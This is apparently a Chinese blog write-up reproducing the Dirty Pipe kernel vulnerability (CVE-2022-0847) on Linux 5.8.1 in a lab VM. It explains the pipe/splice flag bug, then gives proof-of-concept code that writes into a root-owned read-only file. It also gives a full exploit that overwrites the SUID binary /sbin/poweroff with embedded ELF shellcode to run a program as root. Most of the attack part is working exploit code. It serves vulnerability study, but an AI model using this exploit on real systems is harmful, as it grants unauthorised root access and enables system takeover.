[CVE-2022-0847] dirty pipe 复现

本文总阅读量

本文的复现环境为 Linux 5.8.1,下载地址https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.8.1.tar.gz
本人仓库见https://github.com/NazrinDuck/CVE-Reproduce/tree/master/CVE-2022-0847

漏洞背景

最早发现者自述在这里,通过一个偶然的CRC校验失败发现了一个强大的kernel bug。跑日志服务器也算做是fuzz

开始之前简介一下pipe()函数和splice()函数

pipe()

前者在Kernel Pwn很常见,正常可用于进程间通信等地方,如下所示

1
2
3
4
5
6
7
8
9
10
11
12
int main() {
int fd[2];
char buffer[0x100];
pipe(fd);

if (!fork()) {
read(fd[0], buffer, 0x100);
// buffer will be "aaaabbbb"
} else {
write(fd[1], "aaaabbbb", 0x8);
}
}

在写入管道时,最终会调用pipe_read()函数,如果之前没有写入会分配一个pipe_buffer和一个页框,并且设置pipe_bufferflag字段为PIPE_BUF_FLAG_CAN_MERGE

pipe_write完整版
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from) {
// ...
/* Insert it into the buffer array */
buf = &pipe->bufs[head & mask];
buf->page = page;
buf->ops = &anon_pipe_buf_ops;
buf->offset = 0;
buf->len = 0;
if (is_packetized(filp))
buf->flags = PIPE_BUF_FLAG_PACKET;
else
buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
pipe->tmp_page = NULL;
// ...
}

而且,如果flag字段被设置为PIPE_BUF_FLAG_CAN_MERGE,在之后的写入时会接着写入到该page中去

pipe_write完整版
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from) {
// ...
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) {
ret = pipe_buf_confirm(pipe, buf);
if (ret)
goto out;

ret = copy_page_from_iter(buf->page, offset, chars, from);
if (unlikely(ret < chars)) {
ret = -EFAULT;
goto out;
}

buf->len += ret;
if (!iov_iter_count(from))
goto out;
}
// ...
}

splice()

后者可以用来实现“零拷贝”传递数据,减少了内核态与用户态的切换,效率更高,如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#define _FILE_OFFSET_BITS 64
#include <err.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main(void) {
int fd;
int pfd[2];
off_t off;
const char s[12] = "Hello, world";

fd = open("out", O_WRONLY | O_CREAT | O_EXCL, 0666);
if (fd == -1)
err(EXIT_FAILURE, "open");

if (pipe(pfd) == -1)
err(EXIT_FAILURE, "pipe");

if (write(pfd[1], s, sizeof(s)) != sizeof(s))
err(EXIT_FAILURE, "write");
if (close(pfd[1]) == -1)
err(EXIT_FAILURE, "close");

off = 10;
if (splice(pfd[0], NULL, fd, &off, sizeof(s), 0) != sizeof(s))
err(EXIT_FAILURE, "splice");
if (close(pfd[0]) == -1)
err(EXIT_FAILURE, "close");

printf("New offset is %jd\n", (intmax_t)off);

if (close(fd) == -1)
err(EXIT_FAILURE, "close");
exit(EXIT_SUCCESS);
}

splice()函数在libc中的原型如下所示

1
2
3
ssize_t splice(int fd_in, off_t *_Nullable off_in,
int fd_out, off_t *_Nullable off_out,
size_t size, unsigned int flags);

其中,off_in参数和off_out参数在不使用时可设置为NULL

flag参数设置为SPLICE_F_MOVE时,该函数可以实现数据从fd_infd_out的零拷贝复制,类似与sendfile系统调用,但是规定这两个文件描述符中必须有一个是pipe

do_splice完整版
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
long do_splice(struct file *in, loff_t __user *off_in,
struct file *out, loff_t __user *off_out,
size_t len, unsigned int flags) {
// ...
if (opipe) {
if (off_out)
return -ESPIPE;
if (off_in) {
if (!(in->f_mode & FMODE_PREAD))
return -EINVAL;
if (copy_from_user(&offset, off_in, sizeof(loff_t)))
return -EFAULT;
} else {
offset = in->f_pos;
}

if (out->f_flags & O_NONBLOCK)
flags |= SPLICE_F_NONBLOCK;

pipe_lock(opipe);
ret = wait_for_space(opipe, flags);
if (!ret) {
unsigned int p_space;

/* Don't try to read more the pipe has space for. */
p_space = opipe->max_usage - pipe_occupancy(opipe->head, opipe->tail);
len = min_t(size_t, len, p_space << PAGE_SHIFT);

ret = do_splice_to(in, &offset, opipe, len, flags);
}
pipe_unlock(opipe);
if (ret > 0)
wakeup_pipe_readers(opipe);
if (!off_in)
in->f_pos = offset;
else if (copy_to_user(off_in, &offset, sizeof(loff_t)))
ret = -EFAULT;

return ret;
}
// ...
}

以上为当out参数为管道时的执行流,最终程序会进入do_splice_to()函数,然后间接调用函数generic_file_buffered_read()

generic_file_buffered_read完整版
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ssize_t generic_file_buffered_read(struct kiocb *iocb,
struct iov_iter *iter, ssize_t written)
{
// ...
/*
* Ok, we have the page, and it's up-to-date, so
* now we can copy it to user space...
*/

ret = copy_page_to_iter(page, offset, nr, iter);
offset += ret;
index += offset >> PAGE_SHIFT;
offset &= ~PAGE_MASK;
prev_offset = offset;

put_page(page);
// ...
}

到此为止的调用链如下所示

call_chains

splice()实现了将pipe_buffer中的page直接用文件的page替换掉,我们在pipe中读写,事实上就是在pipe指向的物理页框里读写,在这种情况下是直接在文件中读写

splice
pipe
被替换掉的ops如上所示

最终,程序进入函数copy_page_to_iter(),接着进入函数copy_page_to_iter_pipe()

copy_page_to_iter_pipe完整版
1
2
3
4
5
6
7
8
9
10
11
static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
struct iov_iter *i)
{
// ...
buf->ops = &page_cache_pipe_buf_ops;
get_page(page);
buf->page = page;
buf->offset = offset;
buf->len = bytes;
// ...
}

我们来到了这个最关键的地方。接下来我们介绍具体的漏洞成因

漏洞成因

注意这个初始化,它设置了struct pipe_buffer的若干字段,但是**忘记设置了flags**这个字段!

结构体如下所示

1
2
3
4
5
6
7
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};

这意味着我们将其他文件描述符接入管道时,该管道对应的结构体struct pipe_buffer中的flags是会保持原样的

而由上所述,当flags设置中存在PIPE_BUF_FLAG_CAN_MERGE这个设置时,我们是可以直接写入文件内容的,没有任何和文件权限相关的校验

这意味着我们拿到了一个Linux文件系统任意文件写,之后的利用手法多种多样了,既可以覆写/etc/passwd,也可以覆写suid 程序

下面我们具体复现一下每一个过程

漏洞复现

PoC 部分

首先,我们以只读模式打开一个权限为400,拥有者为root的文件,这意味着我们没有写入的权限

1
2
3
4
5
6
7
8
9
10
11
12
int main{
// ...
// INFO: Step 0x02: Reproduce CVE-2022-0847 <PoC>
step("Reproduce CVE-2022-0847 <PoC>");

int root_fd = check(open(root_file_name, O_RDONLY));
info("Open root file with fd %d\n", root_fd);

info("Root file content:\n");
free(check_file(root_fd));
// ...
}

之后,我们查看它的内容,作为之后的对比

下一步,我们创建一组pipe,并把它们所有的pipe_buffer结构体中的flags字段都设置上PIPE_BUF_FLAG_CAN_MERGE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int main{
// ...
info("Make new pipe fds\n");
check(pipe(pipe_fd1));

char *buffer = malloc(0x1000);

for (int i = 0; i < 0x10; ++i) {
memset(buffer, i, 0x1000);
check(write(pipe_fd1[1], buffer, 0x1000));
}
info("Write 0x10 pages to pipe\n");

success("Now this pipe has flag PIPE_BUF_FLAG_CAN_MERGE\n");
// ...
}

事实上,在pipe()函数初始化时,内核会默认分配大小为16的pipe_buffer结构体数组,
因此,我们需要填充0x10(16)个页来保证每一个pipe_bufferflags字段都被设置

具体方法如上所示,就是直接一页一页地写入数据即可

之后是关键步骤,但是内容很简略

1
2
3
4
5
6
7
8
9
10
int main{
// ...
check(read(pipe_fd1[0], buffer, 0x1000));
check(lseek(root_fd, 0, SEEK_SET));
check(splice(root_fd, NULL, pipe_fd1[1], NULL, 0x10, SPLICE_F_MOVE));

memcpy(buffer, "hamood?", 8);
check(write(pipe_fd1[1], buffer, 0x8));
// ...
}

由于pipe_buffer已满,我们需要先清空一个pipe_buffer,方法是直接读出

之后,我们先重置root_fd文件对应的文件指针的位置(lseek()),并调用splice(),将其接入pipe_fd1[1]中去

根据参数的顺序,splice()会将root_fd这个只读文件作为发送端,pipe_fd1[1]作为接收端,从前者读取数据输送到后者中去

读取内容的大小由参数确定,为0x10,此时pipe_fd1对应的pipe管道会有0x10个字节的偏移

之后,我们仍往pipe_fd1[1]管道中写入数据。按照之前的分析,pipe_buffer->flags此时仍然有PIPE_BUF_FLAG_CAN_MERGE,但是该pipe对应的页已经被替换成只读文件了。于是,pipe会在只读文件上留下我们写入的内容,偏移则是由于我们之前写入造成的偏移,为0x10字节

最后,我们再查看该只读文件,并寻找我们写入的字符串内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int main{
// ...
info("Root file content now:\n");
char *cve_chk = check_file(root_fd);

if (strstr(cve_chk, "hamood?")) {
free(cve_chk);
success("CVE-2022-0847 reproduced successfully!\n");
} else {
free(cve_chk);
err_exit("Failed to reproduce CVE-2022-0847");
}

close(pipe_fd1[0]);
close(pipe_fd1[1]);
close(root_fd);
// ...
}

注意到,我们对文件的写入还是局限在一个页内的,且在splice()调用的过程是会写入至少一比特的内容的。
这意味着我们无法从头覆写一个文件

PoC

Exp 部分

接下来,我们准备对其要进行利用,目标是运行一个root权限(uid == 0)的程序来拿到根目录的/flag

这里,我选取了一个suid程序/sbin/poweroff,它在我们退出qemu时会被调用

由于我采用busybox来构建这个文件系统,事实上所以的/bin/sbin程序全都是busybox的软链接,我们更改哪一个都是对busybox进行更改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

const char shellcode[] =
"\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00"
"\x3e\x00\x01\x00\x00\x00\x78\x00\x40\x00\x00\x00\x00\x00\x40\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00"
"\x38\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00"
"\x40\x00\x00\x00\x00\x00\xa9\x00\x00\x00\x00\x00\x00\x00\xda\x00\x00\x00"
"\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00H\xc7\xc1\x66/shQH\xb9/"
"home/"
"ctQT_H1\xf6H1\xd2j;X\x0f\x05\x90\x90";

// execve("/hoem/ctf/sh", NULL, NULL)
int main{
// ...
// INFO: Step 0x03: Reproduce CVE-2022-0847 <Exp>
#define SUID_FILE "/sbin/poweroff"
step("Reproduce CVE-2022-0847 <Exp>");

int evil_pipe[2];
int suid_fd = check(open(SUID_FILE, O_RDONLY));
uint64_t offset = 0x1;
pipe(evil_pipe);
info("Open suid file " SUID_FILE " with fd %d\n", root_fd);

info("Use CVE-2022-0847 to overwrite " SUID_FILE "...\n");
for (int i = 0; i < 0x10; ++i) {
memset(buffer, i, 0x1000);
check(write(evil_pipe[1], buffer, 0x1000));
}

check(read(evil_pipe[0], buffer, 0x1000));
check(lseek(root_fd, 0, SEEK_SET));
check(splice(root_fd, NULL, evil_pipe[1], NULL, offset, SPLICE_F_MOVE));

memcpy(buffer, shellcode + offset, sizeof(shellcode) - offset);
check(write(evil_pipe[1], buffer, sizeof(shellcode) - offset));

int suid_chk_fd = check(open(SUID_FILE, O_RDONLY));
free(check_file(suid_chk_fd));
success("Change suid file " SUID_FILE
" successfully, Now trigger manually\n");

free(buffer);
exit(0);
// ...
}

按照我们之前PoC的手法,我们准备覆写该文件。我准备将原ELF文件前边部分覆写上一段简短的ELF文件,其内容除去文件头仅仅是一段简单的shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
mov rcx, 0x68732f66;
push rcx;
mov rcx, 0x74632f656d6f682f;
push rcx;

push rsp;
pop rdi;

xor rsi, rsi;
xor rdx, rdx;

push 59;
pop rax;
syscall;
nop;
nop;

其内容为execve("/hoem/ctf/sh", NULL, NULL)。由于该手法一次只能有偏移地覆盖一页(0x1000)以内的内容,我们仅将前边部分覆写。

由于ELF文件头被更改,程序事实上的开始执行的位置也被劫持到我们的shellcode,因此这样是没有问题的

接着,我们便可以通过/home/ctf/sh这个文件以root身份任意执行代码,方法是直接退出qemu就会触发

1
2
3
4
5
6
7
8
9
10
11
#include <fcntl.h>
#include <sys/sendfile.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
sendfile(1, open("/flag", 0), NULL, 0x100);
for (;;) {
sleep(0x100);
}
return 0;
}

以上是一个简单的获取”/flag”的程序,我们可以换成不同的代码完成各种事情。

尝试直接放入busybox变身的sh或者busybox_ASH程序的行为都会Segment Fault,猜测可能是环境变量导致的(?)

最终结果如下所示:

exp

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
#define _GNU_SOURCE

// #include "./bpf_insn.h"
#include <arpa/inet.h>
#include <fcntl.h>
// #include <keyutils.h>
// #include <linux/if_packet.h>
// #include <linux/userfaultfd.h>
#include <net/if.h> // 添加 if_nametoindex 函数的头文件
#include <poll.h>
#include <pthread.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <threads.h>
#include <unistd.h>

#define KERNEL_VERSION "5.8.1"

#include "./klog.h"
#include "./kpwn.h"

uint64_t fd;
const char *file_name = "/home/ctf/dirty_pipe";
const char *root_file_name = "/home/ctf/root_file";
const char shellcode[] =
"\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00"
"\x3e\x00\x01\x00\x00\x00\x78\x00\x40\x00\x00\x00\x00\x00\x40\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00"
"\x38\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00"
"\x40\x00\x00\x00\x00\x00\xa9\x00\x00\x00\x00\x00\x00\x00\xda\x00\x00\x00"
"\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00H\xc7\xc1\x66/shQH\xb9/"
"home/"
"ctQT_H1\xf6H1\xd2j;X\x0f\x05\x90\x90";
// execve("/hoem/ctf/sh", NULL, NULL)

void banner() {
printf("\n");
printf(BLUE "==========================================\n" END);
printf(CYAN " Linux CVE-2022-0847 Exp \n" END);
printf(" by" YELLOW " NazrinDuck\n" END);
printf(" Kernel Version: " RED KERNEL_VERSION END "\n");
printf(BLUE "==========================================\n" END);
printf("\n");
}

void __attribute__((constructor)) init() {
bind_cpu(0);
banner();
adjust_rlimit();
page_size = sysconf(_SC_PAGESIZE);
info("page size: %#lx\n", page_size);
}

void close_file() { close(fd); }

void create_file() {
fd = open(file_name, O_CREAT | O_RDWR | O_TRUNC, S_IRUSR | S_IWUSR);
if (fd <= 0) {
err_exit("Fail to create file");
}
success("Create file and write to it\n");
info("fd: %lu\n", fd);
write(fd, "aaaabbbb", 8);
check(fsync(fd));
atexit(close_file);
}

char *check_file(int fd) {
struct stat *stat_buf = malloc(sizeof(struct stat));
fstat(fd, stat_buf);

uint64_t size = stat_buf->st_size;
char *buffer = malloc(size);

if (size > 0x100) {
size = 0x100;
}

check(lseek(fd, 0, SEEK_SET));
check(read(fd, buffer, size));
dump_hex(buffer, size);

free(stat_buf);
return buffer;
}

// NOTE: Linux Kernel exploit template
int main() {
// INFO: Step 0x01: Check splice
step("Check splice");
save_stat();

create_file();
info("Now file content:\n");
free(check_file(fd));

int pipe_fd0[2], pipe_fd1[2];

check(pipe(pipe_fd0));
info("Create to pipes\n");

info("Fork and test\n");
if (!fork()) {
info("pid %d: write pipe\n", getpid());
check(write(pipe_fd0[1], "ccccdddd", 0x8));
exit(0);
}

info("pid %d: splice pipe to file\n", getpid());
check(lseek(fd, 0, SEEK_SET));
check(splice(pipe_fd0[0], NULL, fd, NULL, 0x10, SPLICE_F_MOVE));
check(fsync(fd));

info("Now file content:\n");
char *splice_chk = check_file(fd);
if (!memcmp(splice_chk, "ccccdddd", 0x8)) {
free(splice_chk);
success("Test splice OK\n");
} else {
free(splice_chk);
err_exit("Test splice failed!\n");
}

close(pipe_fd0[0]);
close(pipe_fd0[1]);
close(fd);
// INFO: Step 0x02: Reproduce CVE-2022-0847 <PoC>
step("Reproduce CVE-2022-0847 <PoC>");

int root_fd = check(open(root_file_name, O_RDONLY));
info("Open root file with fd %d\n", root_fd);

info("Root file content:\n");
free(check_file(root_fd));

info("Make new pipe fds\n");
check(pipe(pipe_fd1));

char *buffer = malloc(0x1000);

for (int i = 0; i < 0x10; ++i) {
memset(buffer, i, 0x1000);
check(write(pipe_fd1[1], buffer, 0x1000));
}
info("Write 0x10 pages to pipe\n");

success("Now this pipe has flag PIPE_BUF_FLAG_CAN_MERGE\n");

check(read(pipe_fd1[0], buffer, 0x1000));
check(lseek(root_fd, 0, SEEK_SET));
check(splice(root_fd, NULL, pipe_fd1[1], NULL, 0x10, SPLICE_F_MOVE));

memcpy(buffer, "hamood?", 8);
check(write(pipe_fd1[1], buffer, 0x8));

info("Root file content now:\n");
char *cve_chk = check_file(root_fd);

if (strstr(cve_chk, "hamood?")) {
free(cve_chk);
success("CVE-2022-0847 reproduced successfully!\n");
} else {
free(cve_chk);
err_exit("Failed to reproduce CVE-2022-0847");
}

close(pipe_fd1[0]);
close(pipe_fd1[1]);
close(root_fd);

// INFO: Step 0x03: Reproduce CVE-2022-0847 <Exp>
#define SUID_FILE "/sbin/poweroff"
step("Reproduce CVE-2022-0847 <Exp>");

int evil_pipe[2];
int suid_fd = check(open(SUID_FILE, O_RDONLY));
uint64_t offset = 0x1;
pipe(evil_pipe);
info("Open suid file " SUID_FILE " with fd %d\n", root_fd);

info("Use CVE-2022-0847 to overwrite " SUID_FILE "...\n");
for (int i = 0; i < 0x10; ++i) {
memset(buffer, i, 0x1000);
check(write(evil_pipe[1], buffer, 0x1000));
}

check(read(evil_pipe[0], buffer, 0x1000));
check(lseek(root_fd, 0, SEEK_SET));
check(splice(root_fd, NULL, evil_pipe[1], NULL, offset, SPLICE_F_MOVE));

memcpy(buffer, shellcode + offset, sizeof(shellcode) - offset);
check(write(evil_pipe[1], buffer, sizeof(shellcode) - offset));

int suid_chk_fd = check(open(SUID_FILE, O_RDONLY));
free(check_file(suid_chk_fd));
success("Change suid file " SUID_FILE
" successfully, Now trigger manually\n");

free(buffer);
exit(0);
for (;;) {
sleep(0x100);
}
return 0;
}